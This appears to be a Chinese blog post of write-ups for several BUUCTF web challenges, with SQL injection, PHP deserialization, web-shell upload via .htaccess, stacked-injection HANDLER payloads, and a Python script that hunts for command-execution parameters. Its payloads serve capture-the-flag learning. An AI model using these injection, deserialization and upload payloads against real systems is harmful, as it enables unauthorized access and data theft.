buuctf4

[GXYCTF2019]BabySQli

这题曾经遇到过,查看源码:

1
2
3
4
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}

这里是关键,首先是账号等于admin,接下来是输入的密码等于查询到的密码,我们知道union联合查询如果是本来数据库当中没有的值 则会先新建一个,那么这里我们就利用这点,
paylaod:

1
name=-1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

此时查询到的就是我们注入的这个admin里面的密码了

[网鼎杯 2020 青龙组]AreUSerialz

这是一题反序列化的题,最近刚学完,趁热打铁做做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//利用点在这
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

1.在read()方法中看到一个file_get_contents()函数,所以接下来就看看如何靠拢
2.很明显。。。主要是op要为2即可进入read()当中

这里有个参数很奇怪,是个protect参数:这里需要我们学习一下protect属性的参数
private类型在序列化的格式为:%00类名%00
*protected为:%00%00变量**

exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename ="flag.php";
public $content="2";
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>

考点1:
在function中的__destruct使用强比较,比较op的值是否为2,所以此时我们需要绕过,由于比较的是“2”这是一个字符串,所以我们可以传入一个int类型的数据2,这样就可以绕过了。
考点2:
开头对于op,filename等变量的值的属性是protect,当我们打印出来以后,是 * 的如果我们直接复制粘贴到url中,这个是会被自动删除的,所以需要加个\00但是由于它那边有个is_valid的函数,所以这边就会过滤,改成其他师父们说%00,我也觉得按理说这个也是可以的,但是不知道为啥没有结果?所以感觉很奇怪
所以绕过点在这:
**在php7.1+对类属性的检测不严格,所以可以用public来绕过 **

[MRCTF2020]你传你🐎呢

这个文件上传不会难
1.MIME类型更改为image/jpeg类型
2.上传一句话木马,后缀改为jpg
3.上传.htaccess:

1
SetHandler application/x-httpd-php

/var/www/html/upload/102a52cfbbd15e8c5b5f294d84090158/12 (2).jpg succesfully uploaded!
/var/www/html/upload/102a52cfbbd15e8c5b5f294d84090158/.htaccess succesfully uploaded!

获得以上路径img

1
flag{1f5f9c64-a2c2-4f6d-96f2-a18df9744090}

[GYCTF2020]Blacklist

本题考查的依旧是堆叠注入:
img

1
2
3
4
set @sql=concat('s','elect `flag` from `FLAGHere`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;

1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `FlagHere` ');EXECUTE hacker;#

由于过滤了很多 所以以上内容都用不了
这里查到了一种新方法:

mysql查询语句-handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
2 基本语法

1
2
3
4
5
6
7
8
9
10
11
 handler语句的语法如下:
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

​ 通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
​ 通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
​ 通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

如果我们不想浏览一个表的所有行,可以使用where和limit子句。

所以这里的payload:

1
0';use supersqli;handler FlagHere open;Handler FlagHere read first;

参考:https://blog.csdn.net/JesseYoung/article/details/40785137

[MRCTF2020]Ez_bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

[强网杯 2019]高明的黑客

还没遇到这种题,所以一开始看得眼花缭乱的
下载一个7-zip将www.tar.gz解压缩出来就行,解压缩出来以后看到很多代码
并且看到很多getshell的语句这里考查的就是编写脚本的能力:

这里贴一个大佬的python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time

print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

作为一个菜鸡,我觉得从最简单的开始写起,希望能学到点东西:

1
2
3
4
5
6
import os
import requests
filePath=r"C:\Users\10452\Desktop\src"
files = os.listdir(filePath)
print(len(files))
#3002 所以一共有3002个文件
1
2
3
4
5
with open(file,encoding='utf-8') as f:#这个是打开文件的方式
gets=list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
#两个正则表达式,用来匹配GET和POST,这里可以学习一下其书写方式:
#这里的反斜杠都是为了避免歧义的,屏蔽掉在python正则表达式中原本的功能
1
2
with open('路径','r'as f:
print(f.read())#打开文件并读取

这里尝试一下:

1
2
3
4
5
6
7
import os
filePath=r"C:\Users\10452\Desktop\src"
files = os.listdir(filePath)
file=filePath+"\\"+files[0]
print(file)
with open(file,encoding="utf-8") as f:
print(f.read())

正则 re.findall 的简单用法(返回string中所有与pattern相匹配的全部字串,返回形式为数组)
语法:

1
2
3
4
//re.findall(pattern, string, flags = 0 )
import re
a="asdasd"
print(re.findall("asd",a))

设置线程

1
2
3
4
import threading
s1=threading.Semaphore(100)
requests.adapters.DEFAULT_RETRIES = 5
s1.acquire()

semaphore学习:https://my.oschina.net/u/3524921/blog/920303

没学过也就这几个了,接下来上手复写一下:
感受一下大佬的代码,python还是需要继续学习!

有个槽点:这里的system针对的是linux系统内的echo 所以需要更换一下

这里是payload

1
/xk0SzyKwfzw.php?Efa5BVG=cat /flag
Author

vague huang

Posted on

2021-03-28

Updated on

2021-03-30

Licensed under

Comments